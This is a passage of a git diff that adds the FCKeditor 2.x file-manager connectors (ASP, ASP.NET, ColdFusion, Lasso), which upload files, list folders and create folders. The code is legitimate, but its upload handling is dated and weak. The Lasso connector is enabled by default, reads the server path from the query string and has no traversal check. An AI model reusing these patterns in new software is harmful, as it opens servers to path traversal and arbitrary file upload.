+       If ( InStr( 1, sCurrentFolder, ".." ) <> 0 OR InStr( 1, sResourceType, ".." ) <> 0 ) Then
+               SendError 102, ""
+       End If 
+
+       ' File Upload doesn't have to Return XML, so it must be intercepted before anything.
+       If ( sCommand = "FileUpload" ) Then
+               FileUpload sResourceType, sCurrentFolder
+               Exit Sub
+       End If
+
+       SetXmlHeaders
+       
+       CreateXmlHeader sCommand, sResourceType, sCurrentFolder
+
+       ' Execute the required command.
+       Select Case sCommand
+               Case "GetFolders"
+                       GetFolders sResourceType, sCurrentFolder
+               Case "GetFoldersAndFiles"
+                       GetFoldersAndFiles sResourceType, sCurrentFolder
+               Case "CreateFolder"
+                       CreateFolder sResourceType, sCurrentFolder
+       End Select
+
+       CreateXmlFooter
+
+       Response.End
+End Sub
+
+Function IsAllowedType( resourceType )
+       Dim oRE
+       Set oRE = New RegExp
+       oRE.IgnoreCase  = True
+       oRE.Global              = True
+       oRE.Pattern             = "^(File|Image|Flash|Media)$"
+       
+       IsAllowedType = oRE.Test( resourceType )
+       
+       Set oRE = Nothing
+End Function
+%>
\ No newline at end of file
diff --git a/fckeditor/editor/filemanager/browser/default/connectors/asp/io.asp b/fckeditor/editor/filemanager/browser/default/connectors/asp/io.asp
new file mode 100755 (executable)
index 0000000..9abb0b4
--- /dev/null
@@ -0,0 +1,93 @@
+<!--
+ * FCKeditor - The text editor for Internet - http://www.fckeditor.net
+ * Copyright (C) 2003-2007 Frederico Caldeira Knabben
+ * 
+ * == BEGIN LICENSE ==
+ * 
+ * Licensed under the terms of any of the following licenses at your
+ * choice:
+ * 
+ *  - GNU General Public License Version 2 or later (the "GPL")
+ *    http://www.gnu.org/licenses/gpl.html
+ * 
+ *  - GNU Lesser General Public License Version 2.1 or later (the "LGPL")
+ *    http://www.gnu.org/licenses/lgpl.html
+ * 
+ *  - Mozilla Public License Version 1.1 or later (the "MPL")
+ *    http://www.mozilla.org/MPL/MPL-1.1.html
+ * 
+ * == END LICENSE ==
+ * 
+ * File Name: io.asp
+ *     This file include IO specific functions used by the ASP Connector.
+ * 
+ * File Authors:
+ *             Frederico Caldeira Knabben (www.fckeditor.net)
+-->
+<%
+Function GetUrlFromPath( resourceType, folderPath )
+       If resourceType = "" Then
+               GetUrlFromPath = RemoveFromEnd( sUserFilesPath, "/" ) & folderPath
+       Else
+               GetUrlFromPath = sUserFilesPath & LCase( resourceType ) & folderPath
+       End If
+End Function
+
+Function RemoveExtension( fileName )
+       RemoveExtension = Left( fileName, InStrRev( fileName, "." ) - 1 )
+End Function
+
+Function ServerMapFolder( resourceType, folderPath )
+       ' Get the resource type directory.
+       Dim sResourceTypePath
+       sResourceTypePath = sUserFilesDirectory & LCase( resourceType ) & "\"
+       
+       ' Ensure that the directory exists.
+       CreateServerFolder sResourceTypePath
+
+       ' Return the resource type directory combined with the required path.
+       ServerMapFolder = sResourceTypePath & RemoveFromStart( folderPath, "/" )
+End Function
+
+Sub CreateServerFolder( folderPath )
+       Dim oFSO
+       Set oFSO = Server.CreateObject( "Scripting.FileSystemObject" )
+       
+       Dim sParent
+       sParent = oFSO.GetParentFolderName( folderPath )
+       
+       ' Check if the parent exists, or create it.
+       If ( NOT oFSO.FolderExists( sParent ) ) Then CreateServerFolder( sParent )
+       
+       If ( oFSO.FolderExists( folderPath ) = False ) Then 
+               oFSO.CreateFolder( folderPath )
+       End If
+       
+       Set oFSO = Nothing
+End Sub
+
+Function IsAllowedExt( extension, resourceType )
+       Dim oRE
+       Set oRE = New RegExp
+       oRE.IgnoreCase  = True
+       oRE.Global              = True
+       
+       Dim sAllowed, sDenied
+       sAllowed        = ConfigAllowedExtensions.Item( resourceType )
+       sDenied         = ConfigDeniedExtensions.Item( resourceType )
+       
+       IsAllowedExt = True
+       
+       If sDenied <> "" Then
+               oRE.Pattern     = sDenied
+               IsAllowedExt    = Not oRE.Test( extension )
+       End If 
+       
+       If IsAllowedExt And sAllowed <> "" Then
+               oRE.Pattern             = sAllowed
+               IsAllowedExt    = oRE.Test( extension )
+       End If
+       
+       Set oRE = Nothing
+End Function
+%>
\ No newline at end of file
diff --git a/fckeditor/editor/filemanager/browser/default/connectors/asp/util.asp b/fckeditor/editor/filemanager/browser/default/connectors/asp/util.asp
new file mode 100755 (executable)
index 0000000..27030c2
--- /dev/null
@@ -0,0 +1,59 @@
+<!--
+ * FCKeditor - The text editor for Internet - http://www.fckeditor.net
+ * Copyright (C) 2003-2007 Frederico Caldeira Knabben
+ * 
+ * == BEGIN LICENSE ==
+ * 
+ * Licensed under the terms of any of the following licenses at your
+ * choice:
+ * 
+ *  - GNU General Public License Version 2 or later (the "GPL")
+ *    http://www.gnu.org/licenses/gpl.html
+ * 
+ *  - GNU Lesser General Public License Version 2.1 or later (the "LGPL")
+ *    http://www.gnu.org/licenses/lgpl.html
+ * 
+ *  - Mozilla Public License Version 1.1 or later (the "MPL")
+ *    http://www.mozilla.org/MPL/MPL-1.1.html
+ * 
+ * == END LICENSE ==
+ * 
+ * File Name: util.asp
+ *     This file include generic functions used by the ASP Connector.
+ * 
+ * File Authors:
+ *             Frederico Caldeira Knabben (www.fckeditor.net)
+-->
+<%
+Function RemoveFromStart( sourceString, charToRemove )
+       Dim oRegex
+       Set oRegex = New RegExp
+       oRegex.Pattern = "^" & charToRemove & "+"
+
+       RemoveFromStart = oRegex.Replace( sourceString, "" )
+End Function
+
+Function RemoveFromEnd( sourceString, charToRemove )
+       Dim oRegex
+       Set oRegex = New RegExp
+       oRegex.Pattern = charToRemove & "+$"
+
+       RemoveFromEnd = oRegex.Replace( sourceString, "" )
+End Function
+
+Function ConvertToXmlAttribute( value )
+       ConvertToXmlAttribute = Replace( value, "&", "&amp;" )
+End Function
+
+Function InArray( value, sourceArray )
+       Dim i
+       For i = 0 to UBound( sourceArray )
+               If sourceArray(i) = value Then
+                       InArray = True
+                       Exit Function
+               End If
+       Next
+       InArray = False
+End Function
+
+%>
\ No newline at end of file
diff --git a/fckeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx b/fckeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx
new file mode 100755 (executable)
index 0000000..c56657a
--- /dev/null
@@ -0,0 +1,34 @@
+<%@ Page language="c#" Inherits="FredCK.FCKeditorV2.FileBrowserConnector" AutoEventWireup="false" %>
+<%--
+ * FCKeditor - The text editor for Internet - http://www.fckeditor.net
+ * Copyright (C) 2003-2007 Frederico Caldeira Knabben
+ * 
+ * == BEGIN LICENSE ==
+ * 
+ * Licensed under the terms of any of the following licenses at your
+ * choice:
+ * 
+ *  - GNU General Public License Version 2 or later (the "GPL")
+ *    http://www.gnu.org/licenses/gpl.html
+ * 
+ *  - GNU Lesser General Public License Version 2.1 or later (the "LGPL")
+ *    http://www.gnu.org/licenses/lgpl.html
+ * 
+ *  - Mozilla Public License Version 1.1 or later (the "MPL")
+ *    http://www.mozilla.org/MPL/MPL-1.1.html
+ * 
+ * == END LICENSE ==
+ * 
+ * File Name: connector.aspx
+ *     This is the File Browser Connector for ASP.NET.
+ *     
+ *     The code of this page if included in the FCKeditor.Net package, 
+ *     in the FredCK.FCKeditorV2.dll assemblyfile. So to use it you must 
+ *     include that DLL in your "bin" directory.
+ *     
+ *     To download the FCKeditor.Net package, go to our official web site:
+ *     http://www.fckeditor.net
+ * 
+ * File Authors:
+ *             Frederico Caldeira Knabben (www.fckeditor.net)
+--%>
\ No newline at end of file
diff --git a/fckeditor/editor/filemanager/browser/default/connectors/cfm/config.cfm b/fckeditor/editor/filemanager/browser/default/connectors/cfm/config.cfm
new file mode 100755 (executable)
index 0000000..baec5d4
--- /dev/null
@@ -0,0 +1,80 @@
+<cfsetting enablecfoutputonly="Yes">
+
+<cfscript>
+       config = structNew();
+
+       // SECURITY: You must explicitly enable this "connector". (Set enabled to "true")
+       config.enabled = false;
+
+       config.userFilesPath = "/userfiles/";
+
+       config.serverPath = ""; // use this to force the server path if FCKeditor is not running directly off the root of the application or the FCKeditor directory in the URL is a virtual directory or a symbolic link / junction
+
+       config.allowedExtensions = structNew();
+       config.deniedExtensions = structNew();
+
+       // config.allowedExtensions["File"] = "doc,rtf,pdf,ppt,pps,xls,csv,vnd,zip";
+       config.allowedExtensions["File"] = "";
+       config.deniedExtensions["File"] = "html,htm,php,php2,php3,php4,php5,phtml,pwml,inc,asp,aspx,ascx,jsp,cfm,cfc,pl,bat,exe,com,dll,vbs,js,reg,cgi,htaccess,asis";
+
+       config.allowedExtensions["Image"] = "png,gif,jpg,jpeg,bmp";
+       config.deniedExtensions["Image"] = "";
+
+       config.allowedExtensions["Flash"] = "swf,fla";
+       config.deniedExtensions["Flash"] = "";
+
+       config.allowedExtensions["Media"] = "swf,fla,jpg,gif,jpeg,png,avi,mpg,mpeg,mp3,mp4,m4a,wma,wmv,wav,mid,midi,rmi,rm,ram,rmvb,mov,qt";
+       config.deniedExtensions["Media"] = "";
+</cfscript>
+
+<!--- code to maintain backwards compatibility with previous version of cfm connector --->
+<cfif isDefined("application.userFilesPath")>
+
+       <cflock scope="application" type="readonly" timeout="5">
+       <cfset config.userFilesPath = application.userFilesPath>
+       </cflock>
+
+<cfelseif isDefined("server.userFilesPath")>
+       
+       <cflock scope="server" type="readonly" timeout="5">
+       <cfset config.userFilesPath = server.userFilesPath>
+       </cflock>
+       
+</cfif>
+
+<!--- look for config struct in request, application and server scopes --->
+<cfif isDefined("request.FCKeditor") and isStruct(request.FCKeditor)>
+
+       <cfset variables.FCKeditor = request.FCKeditor>
+
+<cfelseif isDefined("application.FCKeditor") and isStruct(application.FCKeditor)>
+
+       <cflock scope="application" type="readonly" timeout="5">
+       <cfset variables.FCKeditor = duplicate(application.FCKeditor)>
+       </cflock>
+
+<cfelseif isDefined("server.FCKeditor") and isStruct(server.FCKeditor)>
+
+       <cflock scope="server" type="readonly" timeout="5">
+       <cfset variables.FCKeditor = duplicate(server.FCKeditor)>
+       </cflock>
+
+</cfif>
+
+<cfif isDefined("FCKeditor")>
+
+       <!--- copy key values from external to local config (i.e. override default config as required) --->
+       <cfscript>
+               function structCopyKeys(stFrom, stTo) {
+                       for ( key in stFrom ) {
+                               if ( isStruct(stFrom[key]) ) {
+                                       structCopyKeys(stFrom[key],stTo[key]);
+                               } else {
+                                       stTo[key] = stFrom[key];
+                               }
+                       }
+               }
+               structCopyKeys(FCKeditor, config);
+       </cfscript>
+
+</cfif>
diff --git a/fckeditor/editor/filemanager/browser/default/connectors/cfm/connector.cfm b/fckeditor/editor/filemanager/browser/default/connectors/cfm/connector.cfm
new file mode 100755 (executable)
index 0000000..98a2019
--- /dev/null
@@ -0,0 +1,372 @@
+<cfsetting enablecfoutputonly="yes" showdebugoutput="no">
+<!---
+ * FCKeditor - The text editor for Internet - http://www.fckeditor.net
+ * Copyright (C) 2003-2007 Frederico Caldeira Knabben
+ * 
+ * == BEGIN LICENSE ==
+ * 
+ * Licensed under the terms of any of the following licenses at your
+ * choice:
+ * 
+ *  - GNU General Public License Version 2 or later (the "GPL")
+ *    http://www.gnu.org/licenses/gpl.html
+ * 
+ *  - GNU Lesser General Public License Version 2.1 or later (the "LGPL")
+ *    http://www.gnu.org/licenses/lgpl.html
+ * 
+ *  - Mozilla Public License Version 1.1 or later (the "MPL")
+ *    http://www.mozilla.org/MPL/MPL-1.1.html
+ * 
+ * == END LICENSE ==
+ * 
+ * File Name: connector.cfm
+ *     File Browser connector for ColdFusion.
+ *     (based on the original CF connector by Hendrik Kramer - hk@lwd.de)
+ * 
+ *     Note: 
+ *     FCKeditor requires that the connector responds with UTF-8 encoded XML.
+ *     As ColdFusion 5 does not fully support UTF-8 encoding, we force ASCII 
+ *     file and folder names in this connector to allow CF5 send a UTF-8 
+ *     encoded response - code points under 127 in UTF-8 are stored using a 
+ *     single byte, using the same encoding as ASCII, which is damn handy. 
+ *     This is all grand for the English speakers, like meself, but I dunno 
+ *     how others are gonna take to it. Well, the previous version of this 
+ *     connector already did this with file names and nobody seemed to mind, 
+ *     so fingers-crossed nobody will mind their folder names being munged too.
+ *       
+ * 
+ * File Authors:
+ *             Mark Woods (mark@thickpaddy.com)
+ *             Wim Lemmens (didgiman@gmail.com)
+--->
+
+<cfparam name="url.command">
+<cfparam name="url.type"> 
+<cfparam name="url.currentFolder">
+<!--- note: no serverPath url parameter - see config.cfm if you need to set the serverPath manually --->
+
+<cfinclude template="config.cfm">
+
+<cfscript>
+       userFilesPath = config.userFilesPath;
+       lAllowedExtensions = config.allowedExtensions[url.type];
+       lDeniedExtensions = config.deniedExtensions[url.type];
+       
+       // make sure the user files path is correctly formatted
+       userFilesPath = replace(userFilesPath, "\", "/", "ALL");
+       userFilesPath = replace(userFilesPath, '//', '/', 'ALL');
+       if ( right(userFilesPath,1) neq "/" ) {
+               userFilesPath = userFilesPath & "/";
+       }
+       if ( left(userFilesPath,1) neq "/" ) {
+               userFilesPath = "/" & userFilesPath;
+       }
+       
+       // make sure the current folder is correctly formatted
+       url.currentFolder = replace(url.currentFolder, "\", "/", "ALL");
+       url.currentFolder = replace(url.currentFolder, '//', '/', 'ALL');
+       if ( right(url.currentFolder,1) neq "/" ) {
+               url.currentFolder = url.currentFolder & "/";
+       }
+       if ( left(url.currentFolder,1) neq "/" ) {
+               url.currentFolder = "/" & url.currentFolder;
+       }
+
+       if ( find("/",getBaseTemplatePath()) neq 0 ) {
+               fs = "/";
+       } else {
+               fs = "\";
+       }
+       
+       // Get the base physical path to the web root for this application. The code to determine the path automatically assumes that
+       // the "FCKeditor" directory in the http request path is directly off the web root for the application and that it's not a 
+       // virtual directory or a symbolic link / junction. Use the serverPath config setting to force a physical path if necessary.
+       if ( len(config.serverPath) ) {
+               serverPath = config.serverPath;
+       } else {
+               serverPath = replaceNoCase(getBaseTemplatePath(),replace(cgi.script_name,"/",fs,"all"),"");
+       }
+                       
+       // map the user files path to a physical directory
+       userFilesServerPath = serverPath & replace(userFilesPath,"/",fs,"all");
+       
+       xmlContent = ""; // append to this string to build content
+</cfscript>
+
+<cfif not config.enabled>
+
+       <cfset xmlContent = "<Error number=""1"" text=""This connector is disabled. Please check the 'editor/filemanager/browser/default/connectors/cfm/config.cfm' file"" />">
+       
+<cfelseif find("..",url.currentFolder)>
+       
+       <cfset xmlContent = "<Error number=""102"" />">
+       
+</cfif>
+
+<cfif not len(xmlContent)>
+
+<!--- create directories in physical path if they don't already exist --->
+<cfset currentPath = serverPath>
+<cftry>
+
+       <cfloop list="#userFilesPath#" index="name" delimiters="/">
+               
+               <cfif not directoryExists(currentPath & fs & name)>
+                               <cfdirectory action="create" directory="#currentPath##fs##name#" mode="755">
+               </cfif>
+               
+               <cfset currentPath = currentPath & fs & name>
+               
+       </cfloop>
+       
+       <!--- create sub-directory for file type if it doesn't already exist --->
+               <cfif not directoryExists(userFilesServerPath & url.type)>      
+               <cfdirectory action="create" directory="#userFilesServerPath##url.type#" mode="755">
+       </cfif>
+
+<cfcatch>
+
+       <!--- this should only occur as a result of a permissions problem --->
+       <cfset xmlContent = "<Error number=""103"" />">
+
+</cfcatch>
+</cftry>
+
+</cfif>
+
+<cfif not len(xmlContent)>
+
+       <!--- no errors thus far - run command --->
+       
+       <!--- we need to know the physical path to the current folder for all commands --->
+       <cfset currentFolderPath = userFilesServerPath & url.type & replace(url.currentFolder,"/",fs,"all")>
+       
+       <cfswitch expression="#url.command#">
+       
+       
+               <cfcase value="FileUpload">
+               
+                       <cfset fileName = "">
+                       <cfset fileExt = "">
+               
+                       <cftry>
+                       
+                               <!--- TODO: upload to a temp directory and move file if extension is allowed --->
+                       
+                               <!--- first upload the file with an unique filename --->
+                               <cffile action="upload"
+                                       fileField="NewFile"
+                                       destination="#currentFolderPath#"
+                                       nameConflict="makeunique"
+                                       mode="644"
+                                       attributes="normal">
+                               
+                               <cfif cffile.fileSize EQ 0>
+                                       <cfthrow>
+                               </cfif>
+                               
+                               <cfif ( len(lAllowedExtensions) and not listFindNoCase(lAllowedExtensions,cffile.ServerFileExt) )
+                                       or ( len(lDeniedExtensions) and listFindNoCase(lDeniedExtensions,cffile.ServerFileExt) )>
+                               
+                                       <cfset errorNumber = "202">
+                                       <cffile action="delete" file="#cffile.ServerDirectory##fs##cffile.ServerFile#">
+                               
+                               <cfelse>
+                               
+                                       <cfscript>
+                                       errorNumber = 0;
+                                       fileName = cffile.ClientFileName;
+                                       fileExt = cffile.ServerFileExt;
+                       
+                                       // munge filename for html download. Only a-z, 0-9, _, - and . are allowed
+                                       if( reFind("[^A-Za-z0-9_\-\.]", fileName) ) {
+                                               fileName = reReplace(fileName, "[^A-Za-z0-9\-\.]", "_", "ALL");
+                                               fileName = reReplace(fileName, "_{2,}", "_", "ALL");
+                                               fileName = reReplace(fileName, "([^_]+)_+$", "\1", "ALL");
+                                               fileName = reReplace(fileName, "$_([^_]+)$", "\1", "ALL");
+                                       }
+                                       
+                                       // When the original filename already exists, add numbers (0), (1), (2), ... at the end of the filename.
+                                       if( compare( cffile.ServerFileName, fileName ) ) {
+                                               counter = 0;
+                                               tmpFileName = fileName;
+                                               while( fileExists("#currentFolderPath##fileName#.#fileExt#") ) {
+                                                       counter = counter + 1;
+                                                       fileName = tmpFileName & '(#counter#)';
+                                               }
+                                       }
+                                       </cfscript>
+                                       
+                                       <!--- Rename the uploaded file, if neccessary --->
+                                       <cfif compare(cffile.ServerFileName,fileName)>
+                                       
+                                               <cfset errorNumber = "201">
+                                               <cffile
+                                                       action="rename"
+                                                       source="#currentFolderPath##cffile.ServerFileName#.#cffile.ServerFileExt#"
+                                                       destination="#currentFolderPath##fileName#.#fileExt#"
+                                                       mode="644"
+                                                       attributes="normal">
+                                       
+                                       </cfif>                                 
+                               
+                               </cfif>
+               
+                               <cfcatch type="Any">
+                               
+                                       <cfset errorNumber = "202">
+                                       
+                               </cfcatch>
+                               
+                       </cftry>
+                       
+                       
+                       <cfif errorNumber eq 201>
+                       
+                               <!--- file was changed (201), submit the new filename --->
+                               <cfoutput>
+                               <script type="text/javascript">
+                               window.parent.frames['frmUpload'].OnUploadCompleted(#errorNumber#,'#replace( fileName & "." & fileExt, "'", "\'", "ALL")#');
+                               </script>
+                               </cfoutput>
+
+                       <cfelse>
+                       
+                               <!--- file was uploaded succesfully(0) or an error occured(202). Submit only the error code. --->
+                               <cfoutput>
+                               <script type="text/javascript">
+                               window.parent.frames['frmUpload'].OnUploadCompleted(#errorNumber#);
+                               </script>
+                               </cfoutput>
+                               
+                       </cfif>
+                       
+                       <cfabort>
+               
+               </cfcase>
+               
+               
+               <cfcase value="GetFolders">
+               
+                       <!--- Sort directories first, name ascending --->
+                       <cfdirectory 
+                               action="list" 
+                               directory="#currentFolderPath#" 
+                               name="qDir"
+                               sort="type,name">
+                       
+                       <cfscript>
+                               i=1;
+                               folders = "";
+                               while( i lte qDir.recordCount ) {
+                                       if( not compareNoCase( qDir.type[i], "FILE" ))
+                                               break;
+                                       if( not listFind(".,..", qDir.name[i]) )
+                                               folders = folders & '<Folder name="#qDir.name[i]#" />';
+                                       i=i+1;
+                               }
+               
+                               xmlContent = xmlContent & '<Folders>' & folders & '</Folders>';
+                       </cfscript>
+               
+               </cfcase>
+               
+               
+               <cfcase value="GetFoldersAndFiles">
+               
+                       <!--- Sort directories first, name ascending --->
+                       <cfdirectory 
+                               action="list" 
+                               directory="#currentFolderPath#" 
+                               name="qDir"
+                               sort="type,name">
+                               
+                       <cfscript>
+                               i=1;
+                               folders = "";
+                               files = "";
+                               while( i lte qDir.recordCount ) {
+                                       if( not compareNoCase( qDir.type[i], "DIR" ) and not listFind(".,..", qDir.name[i]) ) {
+                                               folders = folders & '<Folder name="#qDir.name[i]#" />';
+                                       } else if( not compareNoCase( qDir.type[i], "FILE" ) ) {
+                                               fileSizeKB = round(qDir.size[i] / 1024);
+                                               files = files & '<File name="#qDir.name[i]#" size="#IIf( fileSizeKB GT 0, DE( fileSizeKB ), 1)#" />';
+                                       }
+                                       i=i+1;
+                               }
+               
+                               xmlContent = xmlContent & '<Folders>' & folders & '</Folders>';
+                               xmlContent = xmlContent & '<Files>' & files & '</Files>';
+                       </cfscript>
+               
+               </cfcase>
+               
+               
+               <cfcase value="CreateFolder">
+               
+                       <cfparam name="url.newFolderName" default="">
+                       
+                       <cfscript>
+                               newFolderName = url.newFolderName;
+                               if( reFind("[^A-Za-z0-9_\-\.]", newFolderName) ) {
+                                       // Munge folder name same way as we do the filename
+                                       // This means folder names are always US-ASCII so we don't have to worry about CF5 and UTF-8
+                                       newFolderName = reReplace(newFolderName, "[^A-Za-z0-9\-\.]", "_", "all");
+                                       newFolderName = reReplace(newFolderName, "_{2,}", "_", "all");
+                                       newFolderName = reReplace(newFolderName, "([^_]+)_+$", "\1", "all");
+                                       newFolderName = reReplace(newFolderName, "$_([^_]+)$", "\1", "all");
+                               }
+                       </cfscript>
+               
+                       <cfif not len(newFolderName) or len(newFolderName) gt 255>
+                               <cfset errorNumber = 102>       
+                       <cfelseif directoryExists(currentFolderPath & newFolderName)>
+                               <cfset errorNumber = 101>
+                       <cfelseif reFind("^\.\.",newFolderName)>
+                               <cfset errorNumber = 103>
+                       <cfelse>
+                               <cfset errorNumber = 0>
+               
+                               <cftry>
+                                       <cfdirectory
+                                               action="create"
+                                               directory="#currentFolderPath##newFolderName#"
+                                               mode="755">
+                                       <cfcatch>
+                                               <!--- 
+                                               un-resolvable error numbers in ColdFusion:
+                                               * 102 : Invalid folder name. 
+                                               * 103 : You have no permissions to create the folder. 
+                                               --->
+                                               <cfset errorNumber = 110>
+                                       </cfcatch>
+                               </cftry>
+                       </cfif>
+                       
+                       <cfset xmlContent = xmlContent & '<Error number="#errorNumber#" />'>
+               
+               </cfcase>
+               
+               
+               <cfdefaultcase>
+               
+                       <cfthrow type="fckeditor.connector" message="Illegal command: #url.command#">
+                       
+               </cfdefaultcase>
+               
+               
+       </cfswitch>
+       
+</cfif>
+
+<cfscript>
+       xmlHeader = '<?xml version="1.0" encoding="utf-8" ?><Connector command="#url.command#" resourceType="#url.type#">';
+       xmlHeader = xmlHeader & '<CurrentFolder path="#url.currentFolder#" url="#userFilesPath##url.type##url.currentFolder#" />';
+       xmlFooter = '</Connector>';
+</cfscript>
+
+<cfheader name="Expires" value="#GetHttpTimeString(Now())#">
+<cfheader name="Pragma" value="no-cache">
+<cfheader name="Cache-Control" value="no-cache, no-store, must-revalidate">
+<cfcontent reset="true" type="text/xml; charset=UTF-8">
+<cfoutput>#xmlHeader##xmlContent##xmlFooter#</cfoutput>        
\ No newline at end of file
diff --git a/fckeditor/editor/filemanager/browser/default/connectors/lasso/config.lasso b/fckeditor/editor/filemanager/browser/default/connectors/lasso/config.lasso
new file mode 100755 (executable)
index 0000000..b87b219
--- /dev/null
@@ -0,0 +1,69 @@
+[//lasso
+/*
+ * FCKeditor - The text editor for Internet - http://www.fckeditor.net
+ * Copyright (C) 2003-2007 Frederico Caldeira Knabben
+ * 
+ * == BEGIN LICENSE ==
+ * 
+ * Licensed under the terms of any of the following licenses at your
+ * choice:
+ * 
+ *  - GNU General Public License Version 2 or later (the "GPL")
+ *    http://www.gnu.org/licenses/gpl.html
+ * 
+ *  - GNU Lesser General Public License Version 2.1 or later (the "LGPL")
+ *    http://www.gnu.org/licenses/lgpl.html
+ * 
+ *  - Mozilla Public License Version 1.1 or later (the "MPL")
+ *    http://www.mozilla.org/MPL/MPL-1.1.html
+ * 
+ * == END LICENSE ==
+ * 
+ * File Name: config.lasso
+ *     Configuration file for the File Manager Connector for Lasso.
+ * 
+ * File Authors:
+ *             Jason Huck (jason.huck@corefive.com)
+ */
+
+    /*.....................................................................     
+    The connector uses the file tags, which require authentication. Enter a
+    valid username and password from Lasso admin for a group with file tags
+    permissions for uploads and the path you define in UserFilesPath below.                                                                        
+    */ 
+    
+       var('connection') = array(
+               -username='xxxxxxxx',
+               -password='xxxxxxxx'
+       );
+
+
+    /*.....................................................................     
+    Set the base path for files that users can upload and browse (relative
+    to server root).
+    
+    Set which file extensions are allowed and/or denied for each file type.                                                                           
+    */                                                                          
+       var('config') = map(
+           'Enabled' = true,
+               'UserFilesPath' = '/userfiles/',
+               'Subdirectories' = map(
+                       'File' = 'File/',
+                       'Image' = 'Image/',
+                       'Flash' = 'Flash/',
+                       'Media' = 'Media/'
+               ),
+               'AllowedExtensions' = map(
+                       'File' = array(),
+                       'Image' = array('jpg','gif','jpeg','png'),
+                       'Flash' = array('swf','fla'),
+                       'Media' = array('swf','fla','jpg','gif','jpeg','png','avi','mpg','mpeg')
+               ),
+               'DeniedExtensions' = map(
+                       'File' = array('html','htm','php','php2','php3','php4','php5','phtml','pwml','inc','asp','aspx','ascx','jsp','cfm','cfc','pl','bat','exe','com','dll','vbs','js','reg','cgi','lasso','lassoapp','htaccess','asis'),
+                       'Image' = array(),
+                       'Flash' = array(),
+                       'Media' = array()
+               )
+       );
+]
\ No newline at end of file
diff --git a/fckeditor/editor/filemanager/browser/default/connectors/lasso/connector.lasso b/fckeditor/editor/filemanager/browser/default/connectors/lasso/connector.lasso
new file mode 100755 (executable)
index 0000000..af5016d
--- /dev/null
@@ -0,0 +1,253 @@
+[//lasso
+/*
+ * FCKeditor - The text editor for Internet - http://www.fckeditor.net
+ * Copyright (C) 2003-2007 Frederico Caldeira Knabben
+ * 
+ * == BEGIN LICENSE ==
+ * 
+ * Licensed under the terms of any of the following licenses at your
+ * choice:
+ * 
+ *  - GNU General Public License Version 2 or later (the "GPL")
+ *    http://www.gnu.org/licenses/gpl.html
+ * 
+ *  - GNU Lesser General Public License Version 2.1 or later (the "LGPL")
+ *    http://www.gnu.org/licenses/lgpl.html
+ * 
+ *  - Mozilla Public License Version 1.1 or later (the "MPL")
+ *    http://www.mozilla.org/MPL/MPL-1.1.html
+ * 
+ * == END LICENSE ==
+ * 
+ * File Name: connector.lasso
+ *     This is the File Manager Connector for Lasso.
+ * 
+ * File Authors:
+ *             Jason Huck (jason.huck@corefive.com)
+ */
+
+    /*.....................................................................     
+    Include global configuration. See config.lasso for details.                                                                           
+    */                                                                          
+       include('config.lasso');
+
+               
+    /*.....................................................................     
+    Translate current date/time to GMT for custom header.                                                                          
+    */                                                                          
+       var('headerDate') = date_localtogmt(date)->format('%a, %d %b %Y %T GMT');
+
+
+    /*.....................................................................     
+    Convert query string parameters to variables and initialize output.                                                                           
+    */                                                                          
+       var(
+               'Command'               =       action_param('Command'),
+               'Type'                  =       action_param('Type'),
+               'CurrentFolder' =       action_param('CurrentFolder'),
+               'ServerPath'    =       action_param('ServerPath'),
+               'NewFolderName' =       action_param('NewFolderName'),
+               'NewFile'               =       null,
+               'NewFileName'   =       string,
+               'OrigFilePath'  =       string,
+               'NewFilePath'   =       string,
+               'commandData'   =       string,
+               'folders'               =       '\t<Folders>\n',
+               'files'                 =       '\t<Files>\n',
+               'errorNumber'   =       integer,
+               'responseType'  =       'xml',
+               'uploadResult'  =       '0'
+       );
+
+
+    /*.....................................................................     
+    Calculate the path to the current folder.                                                                           
+    */                                                                          
+       $ServerPath == '' ? $ServerPath = $config->find('UserFilesPath');
+               
+       var('currentFolderURL' = $ServerPath 
+               + $config->find('Subdirectories')->find(action_param('Type'))
+               + action_param('CurrentFolder')
+       );
+
+
+    /*.....................................................................     
+    Build the appropriate response per the 'Command' parameter. Wrap the
+    entire process in an inline for file tag permissions.                                                                         
+    */                                                                          
+       inline($connection);
+               select($Command);       
+            /*.............................................................     
+            List all subdirectories in the 'Current Folder' directory.                                                                   
+            */                                                                  
+                       case('GetFolders');
+                               $commandData += '\t<Folders>\n';
+                       
+                               iterate(file_listdirectory($currentFolderURL), local('this'));
+                                       #this->endswith('/') ? $commandData += '\t\t<Folder name="' + #this->removetrailing('/')& + '" />\n';
+                               /iterate;
+                               
+                               $commandData += '\t</Folders>\n';
+
+
+            /*.............................................................     
+            List both files and folders in the 'Current Folder' directory.
+            Include the file sizes in kilobytes.                                                                   
+            */                                                                                                 
+                       case('GetFoldersAndFiles');
+                               iterate(file_listdirectory($currentFolderURL), local('this'));
+                                       if(#this->endswith('/'));
+                                               $folders += '\t\t<Folder name="' + #this->removetrailing('/')& + '" />\n';
+                                       else;
+                                               local('size') = file_getsize($currentFolderURL + #this) / 1024;
+                                               $files += '\t\t<File name="' + #this + '" size="' + #size + '" />\n';
+                                       /if;                                    
+                               /iterate;
+
+                               $folders += '\t</Folders>\n';
+                               $files += '\t</Files>\n';
+                               
+                               $commandData += $folders + $files;
+
+
+            /*.............................................................     
+            Create a directory 'NewFolderName' within the 'Current Folder.'                                                                 
+            */                                                                                                 
+                       case('CreateFolder');
+                               var('newFolder' = $currentFolderURL + $NewFolderName + '/');                    
+                               file_create($newFolder);                        
+                               
+                               
+                /*.........................................................     
+                Map Lasso's file error codes to FCKEditor's error codes.                                                              
+                */                                                                                             
+                               select(file_currenterror( -errorcode));
+                                       case(0);
+                                               $errorNumber = 0;
+                                       case( -9983);
+                                               $errorNumber = 101;
+                                       case( -9976);
+                                               $errorNumber = 102;
+                                       case( -9977);
+                                               $errorNumber = 102;
+                                       case( -9961);
+                                               $errorNumber = 103;
+                                       case;
+                                               $errorNumber = 110;
+                               /select;
+                               
+                               $commandData += '<Error number="' + $errorNumber + '" />\n';
+
+
+            /*.............................................................     
+            Process an uploaded file.                                                                  
+            */                                                                                                 
+                       case('FileUpload');             
+                /*.........................................................     
+                This is the only command that returns an HTML response.                                                              
+                */                                                                                     
+                               $responseType = 'html';
+                               
+                               
+                /*.........................................................     
+                Was a file actually uploaded?                                                              
+                */                                                              
+                               file_uploads->size ? $NewFile = file_uploads->get(1) | $uploadResult = '202';
+                                                               
+                               if($uploadResult == '0');
+                    /*.....................................................     
+                    Split the file's extension from the filename in order
+                    to follow the API's naming convention for duplicate
